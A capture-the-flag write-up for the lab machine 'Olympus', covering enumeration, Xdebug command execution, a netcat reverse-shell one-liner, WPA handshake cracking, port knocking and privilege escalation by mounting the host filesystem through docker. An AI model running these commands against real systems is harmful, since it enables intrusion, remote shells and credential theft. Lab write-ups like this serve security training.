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Olympus Writeup
Introduction :
Olympus is a Medium linux box released back in April 2018.
Olympus is a Medium linux box released back in April 2018.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ nihilist [ 10.10.14.11/23 ] [~]
→ nmap -F 10.10.10.83
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 08:18 GMT
Nmap scan report for 10.10.10.83
Host is up (0.080s latency).
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp filtered ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
λ nihilist [ 10.10.14.11/23 ] [~]
→ nmap -sCV -p22,53,80 10.10.10.83
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 08:19 GMT
Nmap scan report for 10.10.10.83
Host is up (0.081s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
53/tcp open domain (unknown banner: Bind)
| dns-nsid:
|_ bind.version: Bind
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ Bind
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/18%Time=5E71D995%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0\x0c\
SF:0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Our nmap scan picked up port 80 so let's investigate it:
λ nihilist [ 10.10.14.11/23 ] [~]
→ dirsearch -u http://10.10.10.83 -t 50 -e txt,html,php,xml -x 403
git clone https://github.com/maurosoria/dirsearch.git
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 7124
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-18_08-20-40.log
Target: http://10.10.10.83
[08:20:40] Starting:
[08:20:57] 200 - 66KB - /favicon.ico
[08:20:59] 200 - 314B - /index.php
[08:20:59] 200 - 314B - /index.php/login/
Let's investigate both index.php and index.php/login :
We seem to get an image on /index.php so let's download it and try to see if there's any steganography involved:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ file zeus.jpg
zeus.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, progressive, precision 8, 480x640, components 3
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ exiftool zeus.jpg
ExifTool Version Number : 11.91
File Name : zeus.jpg
Directory : .
File Size : 36 kB
File Modification Date/Time : 2018:04:07 00:53:19+01:00
File Access Date/Time : 2020:03:18 08:29:59+00:00
File Inode Change Date/Time : 2020:03:18 08:29:31+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 300
Y Resolution : 300
Image Width : 480
Image Height : 640
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 480x640
Megapixels : 0.307
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ steghide extract -sf zeus.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ strings zeus.jpg
Doesn't seem like we get anything too obvious, and by using the strings command we don't seem to find anything either, so let's continue by investigating the dns service running on port 53:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ dig axfr @10.10.10.83 olympus.htb
; <<>> DiG 9.11.16-2-Debian <<>> axfr @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ dig @10.10.10.83 olympus.htb
; <<>> DiG 9.11.16-2-Debian <<>> @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 5749
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;olympus.htb. IN A
;; Query time: 75 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Wed Mar 18 08:34:17 GMT 2020
;; MSG SIZE rcvd: 40
And we seem to get a domain name ! olympus.htb seems to be the one, so let's add it to our /etc/hosts file.
λ root [ 10.10.14.11/23 ] [/home/nihilist]
→ echo '10.10.10.83 olympus.htb' >> /etc/hosts
Now that's done, let's dirsearch the box once again, but this time with the domain name that we added:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ dirsearch -u http://olympus.htb -t 50 -e txt,html,php,xml -x 403
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 7124
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-18_08-36-49.log
Target: http://olympus.htb
[08:36:49] Starting:
[08:37:05] 200 - 66KB - /favicon.ico
[08:37:07] 200 - 314B - /index.php
[08:37:07] 200 - 314B - /index.php/login/
To which we get the same results:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ ls
zeus.jpg
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ wget http://olympus.htb/zeus.jpg -O zeus2.jpg
--2020-03-18 08:40:59-- http://olympus.htb/zeus.jpg
Resolving olympus.htb (olympus.htb)... 10.10.10.83
Connecting to olympus.htb (olympus.htb)|10.10.10.83|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37144 (36K) [image/jpeg]
Saving to: ‘zeus2.jpg’
zeus2.jpg 100%[===================>] 36.27K 209KB/s in 0.2s
2020-03-18 08:40:59 (209 KB/s) - ‘zeus2.jpg’ saved [37144/37144]
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ md5sum zeus.jpg && md5sum zeus2.jpg
a9e247b275edb0140a8b507fdd21e7ab zeus.jpg
a9e247b275edb0140a8b507fdd21e7ab zeus2.jpg
By downloading the image from olympus.htb, and by using md5sum we see that both images are exactly the same, so let's use nikto to try and see if there's anything else we can find on the webserver. and while it runs, we check out the response headers from the webpage itself : Firefox > F12 > Network > Response Headers
Into which we (nikto aswell) see something odd : Xdebug 2.5.5 so let's do a quick searchsploit on it to see if there are any public exploits for us to use:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ searchsploit Xdebug 2
------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------------
xdebug < 2.5.5 - OS Command Execution (Met | exploits/php/remote/44568.rb
------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
Here we see that we have a OS Command Execution Metasploit exploit, so let's check it out:
msf5 > search xdebug
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/xdebug_unauth_exec 2017-09-17 excellent Yes xdebug Unauthenticated OS Command Execution
msf5 > use 0
msf5 exploit(unix/http/xdebug_unauth_exec) > show options
Module options (exploit/unix/http/xdebug_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /index.php yes Path to target webapp
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes Callback host for accepting connections
SRVPORT 9000 yes Port to listen for the debugger
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Metasploit has it with it's options, but let's see if we can make our own by copying the script locally and by making a python version:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ locate 44568.rb
/usr/share/exploitdb/exploits/php/remote/44568.rb
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ cp /usr/share/exploitdb/exploits/php/remote/44568.rb .
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ nano 44568.rb
So we make the correct python script following the logic behind metasploit's exploit we found earlier
And from here we simply use the system() function to pass in our reverse shell one liner pointing at our port 9001:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f')
And we get a reverse shell as www-data ! Now we don't have access to any user flag right away, but in the /home/zeus directory we seem to have access to an airgeddon directory, so let's check it out:
$ ls -lash
total 12K
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .
4.0K drwxr-xr-x 1 root root 4.0K Apr 8 2018 ..
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 airgeddon
$ ls -lash airgeddon
total 1.1M
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 ..
4.0K -rw-r--r-- 1 zeus zeus 264 Apr 8 2018 .editorconfig
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .git
4.0K -rw-r--r-- 1 zeus zeus 230 Apr 8 2018 .gitattributes
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .github
4.0K -rw-r--r-- 1 zeus zeus 89 Apr 8 2018 .gitignore
16K -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 CHANGELOG.md
4.0K -rw-r--r-- 1 zeus zeus 3.2K Apr 8 2018 CODE_OF_CONDUCT.md
8.0K -rw-r--r-- 1 zeus zeus 6.3K Apr 8 2018 CONTRIBUTING.md
4.0K -rw-r--r-- 1 zeus zeus 3.3K Apr 8 2018 Dockerfile
36K -rw-r--r-- 1 zeus zeus 35K Apr 8 2018 LICENSE.md
8.0K -rw-r--r-- 1 zeus zeus 4.4K Apr 8 2018 README.md
292K -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 airgeddon.sh
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 binaries
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 captured
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 imgs
16K -rw-r--r-- 1 zeus zeus 16K Apr 8 2018 known_pins.db
672K -rw-r--r-- 1 zeus zeus 670K Apr 8 2018 language_strings.sh
4.0K -rw-r--r-- 1 zeus zeus 33 Apr 8 2018 pindb_checksum.txt
In it we see the captured directory, so let's check what's in it:
$ cd captured
$ ls -lash
total 304K
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 .
4.0K drwxr-xr-x 1 zeus zeus 4.0K Apr 8 2018 ..
292K -rw-r--r-- 1 zeus zeus 291K Apr 8 2018 captured.cap
4.0K -rw-r--r-- 1 zeus zeus 57 Apr 8 2018 papyrus.txt
$ cat papyrus.txt
Captured while flying. I'll banish him to Olympia - Zeus
$ file captured.cap
captured.cap: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)
Now we seem to have a riddle here, trying to find "Olympia", and we have a captured.cap file which is a tcpdump capture file v2.4 so let's send it over to our machine:
Terminal 1:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ nc -lvnp 9002 > captured.cap
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
$ cat captured.cap | nc 10.10.14.11 9002
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ nc -lvnp 9002 > captured.cap
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.83.
Ncat: Connection from 10.10.10.83:55836.
And we verify that we have the same file by using md5sum:
And we have the same file ! so let's use aircrack-ng to see if what's in this captured.cap file.
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ aircrack-ng captured.cap
Reading packets, please wait...
Opening captured.cap
Read 6498 packets.
# BSSID ESSID Encryption
1 F4:EC:38:AB:A8:A9 Too_cl0se_to_th3_Sun WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening captured.cap
Read 6498 packets.
1 potential targets
Please specify a dictionary (option -w).
And we get a password ! so let's use rockyou.txt to see if we can bruteforce the key using aircrack-ng:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ aircrack-ng -e 'Too_cl0se_to_th3_Sun' -w /usr/share/wordlists/rockyou.txt captured.cap
Time left: 17 minutes, 7 seconds 54.02%
KEY FOUND! [ flightoficarus ]
Master Key : FA C9 FB 75 B7 7E DC 86 CC C0 D5 38 88 75 B8 5A
88 3B 75 31 D9 C3 23 C8 68 3C DB FA 0F 67 3F 48
Transient Key : 46 7D FD D8 1A E5 1A 98 50 C8 DD 13 26 E7 32 7C
DE E7 77 4E 83 03 D9 24 74 81 30 84 AD AD F8 10
21 62 1F 60 15 02 0C 5C 1C 84 60 FA 34 DE C0 4F
35 F6 4F 03 A2 0F 8F 6F 5E 20 05 27 E1 73 E0 73
EAPOL HMAC : AC 1A 73 84 FB BF 75 9C 86 CF 5B 5A F4 8A 4C 38
And we found the key ! We now have a few words that might come handy
icarus
Too_cl0se_to_th3_Sun
flightoficarus
zeus
Now since our nmap scan returned a filtered ssh service running on port 22 we run another nmap scan to see where we could potentially use those credentials:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ nmap -F 10.10.10.83 --top-ports 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:34 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.067s latency).
Not shown: 8316 closed ports
PORT STATE SERVICE
22/tcp filtered ssh
53/tcp open domain
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ nmap -sCV -p2222 10.10.10.83
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:35 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-City of olympia
| ssh-hostkey:
| 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
| 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.80%I=7%D=3/18%Time=5E71EB4D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
And here we see another port opened with SSH on it ! So we try to login as the user we guessed was icarus with his password : Too_cl0se_to_th3_Sun
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ ssh -p 2222 icarus@10.10.10.83
The authenticity of host '[10.10.10.83]:2222 ([10.10.10.83]:2222)' can't be established.
ECDSA key fingerprint is SHA256:uyZtmsYFq/Ac58+SEgLsL+NK05LlH2qwp2EXB1DxlO4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.83]:2222' (ECDSA) to the list of known hosts.
icarus@10.10.10.83's password:
Last login: Sun Apr 15 16:44:40 2018 from 10.10.14.4
icarus@620b296204a3:~$ id
uid=1000(icarus) gid=1000(icarus) groups=1000(icarus)
icarus@620b296204a3:~$ cat user.txt
cat: user.txt: No such file or directory
icarus@620b296204a3:~$ ls
help_of_the_gods.txt
icarus@620b296204a3:~$ cat help_of_the_gods.txt
Athena goddess will guide you through the dark...
Way to Rhodes...
ctfolympus.htb
and we get a shell session as icarus ! Although we still need to find the user flag, being hinted yet again with a riddle about the Athena goddess and most importantly the domain name ctfolympus.htb so let's use dig just like before to enumerate this domainname:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ dig axfr @10.10.10.83 ctfolympus.htb
; <<>> DiG 9.11.16-2-Debian <<>> axfr @10.10.10.83 ctfolympus.htb
; (1 server found)
;; global options: +cmd
ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb. 86400 IN A 192.168.0.120
ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb.
ctfolympus.htb. 86400 IN NS ns2.ctfolympus.htb.
ctfolympus.htb. 86400 IN MX 10 mail.ctfolympus.htb.
crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
mail.ctfolympus.htb. 86400 IN A 192.168.0.120
ns1.ctfolympus.htb. 86400 IN A 192.168.0.120
ns2.ctfolympus.htb. 86400 IN A 192.168.0.120
rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes"
www.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
;; Query time: 76 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Wed Mar 18 09:39:57 GMT 2020
;; XFR size: 15 records (messages 1, bytes 475)
From here we see that we have quite a few of subdomains to work with, along with a riddle mentionning "Prometheus opening a portal to Hades (3456 8234 62431) and St34l_th3_F1re!" So maybe we have credentials, but before that let's list every subdomain we found before adding them to our /etc/hosts file:
echo '10.10.10.83 ctfolympus.htb'
crete.ctfolympus.htb
hades.ctfolympus.htb
mail.ctfolympus.htb
ns1.ctfolympus.htb
ns2.ctfolympus.htb
rhodes.ctfolympus.htb
RhodesColossus.ctfolympus.htb
www.ctfolympus.htb
ctfolympus.htb
echo '10.10.10.83 ctfolympus.htb'
We try to ssh as the user prometheus with his assumed password St34l_th3_F1re :
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ ssh prometheus@10.10.10.83 -p2222
prometheus@10.10.10.83's password:
Permission denied, please try again.
prometheus@10.10.10.83's password:
Permission denied, please try again.
prometheus@10.10.10.83's password:
prometheus@10.10.10.83: Permission denied (publickey,password).
icarus@620b296204a3:~$ cat /etc/passwd | grep prometheus
icarus@620b296204a3:~$
We can't ssh on port 2222 as the user prometheus, because he isn't even an user on the box, so assuming from the hades riddle, we can assume that it is about port knocking just like on the box Nineveh:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ for x in 3456 8234 62431 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.065s latency).
PORT STATE SERVICE
3456/tcp closed vat
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.062s latency).
PORT STATE SERVICE
8234/tcp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.060s latency).
PORT STATE SERVICE
62431/tcp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:52 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.067s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
And there we have it ! we have been able to open port 22 by knocking on the 3 aforementionned ports so let's try to ssh as the user prometheus:
λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Olympus]
→ for x in 3456 8234 62431; do nmap -Pn --max-retries 0 -p $x 10.10.10.83; done ;sshpass -p 'St34l_th3_F1re!' ssh -oStrictHostKeyChecking=no prometheus@10.10.10.83
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.065s latency).
PORT STATE SERVICE
3456/tcp closed vat
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.064s latency).
PORT STATE SERVICE
8234/tcp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-18 09:55 GMT
Nmap scan report for olympus.htb (10.10.10.83)
Host is up (0.070s latency).
PORT STATE SERVICE
62431/tcp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
Warning: Permanently added '10.10.10.83' (ECDSA) to the list of known hosts.
Welcome to
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|_||_|\__,_|\__,_|\___|/__/
prometheus@olympus:~$ cat user.txt
8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
Now that we are on the box let's enumerate it a bit :
prometheus@olympus:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for prometheus:
Sorry, user prometheus may not run sudo on olympus.
prometheus@olympus:~$ netstat -alvnp | grep LISTEN
Doesn't seem that we can run sudo -l as usual so we try to see what's running on the machine by using ps -auxw
prometheus@olympus:~$ ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 56992 6812 ? Ss Mar17 0:01 /sbin/init
[...]
root 276 0.0 0.2 51236 5540 ? Ss Mar17 0:00 /lib/systemd/systemd-journald
root 279 0.0 0.5 207504 10556 ? Ssl Mar17 0:27 /usr/bin/vmtoolsd
root 280 0.0 0.0 0 0 ? S Mar17 0:00 [kauditd]
root 293 0.0 0.2 46828 5004 ? Ss Mar17 0:00 /lib/systemd/systemd-udevd
systemd+ 359 0.0 0.1 127284 4052 ? Ssl Mar17 0:02 /lib/systemd/systemd-timesyncd
root 365 0.0 0.0 0 0 ? S Mar17 0:00 [ttm_swap]
root 438 0.0 0.1 29664 2868 ? Ss Mar17 0:00 /usr/sbin/cron -f
root 439 0.0 0.1 35920 3292 ? Ss Mar17 0:01 /usr/sbin/irqbalance --foreground
root 440 0.0 0.9 153488 18532 ? Ss Mar17 0:00 /usr/bin/VGAuthService
message+ 441 0.0 0.1 45120 3724 ? Ss Mar17 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root 456 0.0 0.1 250116 3304 ? Ssl Mar17 0:00 /usr/sbin/rsyslogd -n
root 457 0.0 0.2 46420 4804 ? Ss Mar17 0:00 /lib/systemd/systemd-logind
root 562 0.0 0.1 8572 3876 ? Ss Mar17 0:00 /usr/sbin/knockd -i enp0s3
root 565 0.1 3.1 585408 65468 ? Ssl Mar17 0:59 /usr/bin/dockerd -H fd://
root 570 0.0 0.0 14536 1780 tty1 Ss+ Mar17 0:00 /sbin/agetty --noclear tty1 linux
root 580 0.0 0.2 69944 5452 ? Ss Mar17 0:00 /usr/sbin/sshd -D
root 591 0.0 1.1 400308 23004 ? Ssl Mar17 0:41 docker-containerd --config /var/run/docker/containerd/containerd.toml
root 983 0.0 0.1 51488 3600 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 53 -container-ip 172.18.0.2 -container-port 53
root 989 0.0 0.1 51488 3708 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.20.0.2 -container-port 80
root 1004 0.0 0.2 206028 5704 ? Sl Mar17 0:03 /usr/bin/docker-proxy -proto udp -host-ip 0.0.0.0 -host-port 53 -container-ip 172.18.0.2 -container-port 53
root 1005 0.0 0.1 51488 3636 ? Sl Mar17 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 2222 -container-ip 172.19.0.2 -container-port 22
root 1018 0.0 0.1 7648 3836 ? Sl Mar17 0:02 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/f00ba96171c58d55c6
root 1022 0.0 0.1 7648 4036 ? Sl Mar17 0:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/ce2ecb56a96ee3d95d
root 1023 0.0 0.2 7648 4784 ? Sl Mar17 0:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/620b296204a38a1bc2
systemd+ 1058 0.0 1.2 289576 24668 ? Ssl Mar17 0:17 /usr/sbin/named -g -c /etc/bind/named.conf -u bind
root 1067 0.0 0.9 175340 20136 ? Ss Mar17 0:02 apache2 -DFOREGROUND
root 1077 0.0 0.2 65504 6004 ? Ss Mar17 0:00 /usr/sbin/sshd -D
root 1756 0.0 0.0 0 0 ? S 01:02 0:00 [kworker/1:2]
root 1831 0.0 0.0 0 0 ? S 01:32 0:00 [kworker/0:0]
www-data 1832 0.0 0.6 175640 13272 ? S 01:36 0:00 apache2 -DFOREGROUND
www-data 1834 0.0 0.6 175648 13276 ? S 01:36 0:00 apache2 -DFOREGROUND
www-data 1851 0.0 0.6 175632 13264 ? S 01:36 0:00 apache2 -DFOREGROUND
www-data 1865 0.0 0.6 175768 13424 ? S 01:36 0:00 apache2 -DFOREGROUND
www-data 1871 0.0 0.6 175640 13272 ? S 01:36 0:00 apache2 -DFOREGROUND
www-data 1873 0.0 0.6 175640 13272 ? S 01:37 0:00 apache2 -DFOREGROUND
www-data 1874 0.0 0.6 175768 13644 ? S 01:37 0:00 apache2 -DFOREGROUND
www-data 1878 0.0 0.6 175768 13436 ? S 01:37 0:00 apache2 -DFOREGROUND
www-data 1881 0.0 0.6 175632 13264 ? S 01:37 0:00 apache2 -DFOREGROUND
www-data 1888 0.0 0.6 175640 13272 ? S 01:37 0:00 apache2 -DFOREGROUND
root 1895 0.0 0.0 0 0 ? S 02:01 0:00 [kworker/1:1]
root 1949 0.0 0.3 90476 6588 ? Ss 02:36 0:00 sshd: icarus [priv]
prometh+ 1953 0.0 0.1 90476 3272 ? S 02:36 0:00 sshd: icarus@pts/0
prometh+ 1954 0.0 0.1 18240 3428 pts/0 Ss+ 02:36 0:00 -bash
root 1969 0.0 0.0 0 0 ? S 02:49 0:00 [kworker/0:1]
root 1976 0.0 0.0 0 0 ? S 02:54 0:00 [kworker/0:2]
root 1985 0.0 0.3 99336 7108 ? Ss 02:55 0:00 sshd: prometheus [priv]
prometh+ 1987 0.0 0.3 65036 6176 ? Ss 02:55 0:00 /lib/systemd/systemd --user
prometh+ 1988 0.0 0.0 84576 1632 ? S 02:55 0:00 (sd-pam)
prometh+ 1993 0.0 0.1 99336 4020 ? S 02:55 0:00 sshd: prometheus@pts/0
prometh+ 1994 0.0 0.2 21192 4996 pts/0 Ss 02:55 0:00 -bash
prometh+ 2010 0.0 0.1 38304 3288 pts/0 R+ 02:58 0:00 ps auxw
Here we are hinted towards docker running on the box, so let's enumerate it :
prometheus@olympus:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
crete latest 31be8149528e 23 months ago 450MB
olympia latest 2b8904180780 23 months ago 209MB
rodhes latest 82fbfd61b8c1 23 months ago 215MB
We know about crete, but we don't know about olympia yet so let's try to get a shell in it's docker image :
prometheus@olympus:~$ docker run --rm -i -t -v /:/hostOS olympia /bin/bash
root@72fd5d0030ac:/# uname -a
Linux 72fd5d0030ac 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 x86_64 x86_64 GNU/Linux
root@72fd5d0030ac:/# whoami
root
root@72fd5d0030ac:/# cat /root/root.txt
cat: /root/root.txt: No such file or directory
And we have root access to this docker image ! however root.txt isn't where it should be so let's poke around a little further:
root@72fd5d0030ac:/# cd /
root@72fd5d0030ac:/# ls
bin boot dev etc home hostOS lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
root@72fd5d0030ac:/# cd hostOS
root@72fd5d0030ac:/hostOS# ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
